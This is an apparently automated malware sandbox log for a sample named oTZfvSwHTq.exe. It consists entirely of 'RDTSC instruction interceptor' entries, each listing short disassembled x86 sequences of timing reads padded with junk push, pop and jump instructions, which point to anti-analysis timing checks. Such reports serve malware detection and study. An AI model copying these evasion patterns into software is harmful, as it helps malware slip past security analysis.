Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79C841 second address: 79C869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F74ACE2511Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 je 00007F74ACE25116h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 pushad 0x0000001a jg 00007F74ACE25116h 0x00000020 push esi 0x00000021 pop esi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79CB45 second address: 79CB4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F74AC8A01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79CB4F second address: 79CB58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79CB58 second address: 79CB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01EAh 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 79CB70 second address: 79CB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A5407 second address: 7A540D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A56F3 second address: 7A56F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A56F7 second address: 7A56FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A56FB second address: 7A571A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F74ACE25125h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A571A second address: 7A5724 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F74AC8A01F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A5724 second address: 7A572A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A572A second address: 7A5732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A5732 second address: 7A5736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A5736 second address: 7A574A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A59BB second address: 7A59CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Ah 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A5B52 second address: 7A5B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7A5B56 second address: 7A5B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ebx 0x0000000f popad 0x00000010 push ecx 0x00000011 pushad 0x00000012 jmp 00007F74ACE25123h 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e jc 00007F74ACE2511Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7AC77D second address: 7AC78E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F74AC8A01EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7AC78E second address: 7AC7B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F74ACE25124h 0x00000008 jl 00007F74ACE25116h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACAA8 second address: 7ACAAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACBE2 second address: 7ACC16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25125h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F74ACE25127h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACC16 second address: 7ACC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACC1A second address: 7ACC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACC20 second address: 7ACC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F74AC8A01EAh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jnp 00007F74AC8A01E6h 0x0000001a jmp 00007F74AC8A01F5h 0x0000001f jmp 00007F74AC8A01F7h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACC67 second address: 7ACC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F74ACE25116h 0x0000000a jmp 00007F74ACE2511Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACE10 second address: 7ACE3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F74AC8A01F1h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7ACF8E second address: 7ACF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 je 00007F74ACE25116h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7AD2F1 second address: 7AD30F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F74AC8A01E6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F74AC8A01E6h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7AD30F second address: 7AD32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE25125h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7AD32B second address: 7AD336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F74AC8A01E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7B5938 second address: 7B593C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7B593C second address: 7B5963 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F74AC8A01F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F74AC8A01F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7B5963 second address: 7B5969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F09F2 second address: 6F0A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F74AC8A01F8h 0x0000000c jmp 00007F74AC8A01EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F0A1E second address: 6F0A2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F0A2E second address: 6F0A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F0A34 second address: 6F0A41 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F74ACE25118h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F0A41 second address: 6F0A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6F0A47 second address: 6F0A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F74ACE25116h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7B5504 second address: 7B5508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7B5508 second address: 7B550C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7B565E second address: 7B566A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F74AC8A01E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7C3BB5 second address: 7C3BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F74ACE25116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7C66BB second address: 7C66C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7C66C1 second address: 7C66D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F74ACE2511Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7C66D9 second address: 7C66DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7C66DF second address: 7C66E9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7CC37A second address: 7CC380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7CC380 second address: 7CC3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jnp 00007F74ACE2513Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F74ACE25126h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7CC3A6 second address: 7CC3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7D9C91 second address: 7D9C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jl 00007F74ACE25116h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7D9C9F second address: 7D9CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E020D second address: 7E0212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E04F7 second address: 7E052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F74AC8A01E6h 0x0000000a jmp 00007F74AC8A01EDh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F74AC8A01F7h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E052A second address: 7E052E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E052E second address: 7E0534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E140B second address: 7E1412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E52AD second address: 7E52B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E52B3 second address: 7E52B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E52B7 second address: 7E52BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E52BD second address: 7E52C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E4FD2 second address: 7E4FE6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F74AC8A01E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F74AC8A01E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E4FE6 second address: 7E4FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7E4FEA second address: 7E4FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7FE7A7 second address: 7FE7AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8013C5 second address: 8013FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F74AC8A01E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F74AC8A01EDh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F74AC8A01ECh 0x0000001f jmp 00007F74AC8A01EAh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8013FD second address: 80140E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F74ACE2511Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8175C7 second address: 8175CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8175CD second address: 8175D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8175D1 second address: 8175D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 817739 second address: 81774A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Ch 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8179DE second address: 8179E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8179E4 second address: 8179EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 8179EA second address: 817A1F instructions: 0x00000000 rdtsc 0x00000002 je 00007F74AC8A01EAh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c jbe 00007F74AC8A0201h 0x00000012 js 00007F74AC8A01E6h 0x00000018 jmp 00007F74AC8A01F5h 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 817A1F second address: 817A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F74ACE25120h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 817E51 second address: 817E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 817E55 second address: 817E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 819B87 second address: 819B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 819B8D second address: 819B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 81DF0D second address: 81DF11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 821C0F second address: 821C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F74ACE25116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 821C19 second address: 821C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 734D1B second address: 734D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52A0349 second address: 52A03C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dl 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov si, DD7Fh 0x00000010 pushfd 0x00000011 jmp 00007F74AC8A01F4h 0x00000016 add ax, 7D68h 0x0000001b jmp 00007F74AC8A01EBh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F74AC8A01F9h 0x00000028 xchg eax, ebp 0x00000029 jmp 00007F74AC8A01EEh 0x0000002e mov ebp, esp 0x00000030 jmp 00007F74AC8A01F0h 0x00000035 mov edx, dword ptr [ebp+0Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d mov bh, 9Eh 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C05F4 second address: 52C05F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C05F8 second address: 52C05FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C05FE second address: 52C0604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0604 second address: 52C0608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0608 second address: 52C0646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F74ACE25124h 0x0000000e push eax 0x0000000f jmp 00007F74ACE2511Bh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F74ACE25120h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0646 second address: 52C0655 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C0655 second address: 52C06AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F74ACE2511Fh 0x00000009 or cx, 86AEh 0x0000000e jmp 00007F74ACE25129h 0x00000013 popfd 0x00000014 mov ax, BF37h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F74ACE25129h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 52C06AB second address: 52C06D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov ebx, 71D2916Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov cx, dx 0x00000014 jmp 00007F74AC8A01F3h 0x00000019 popad 0x0000001a rdtsc
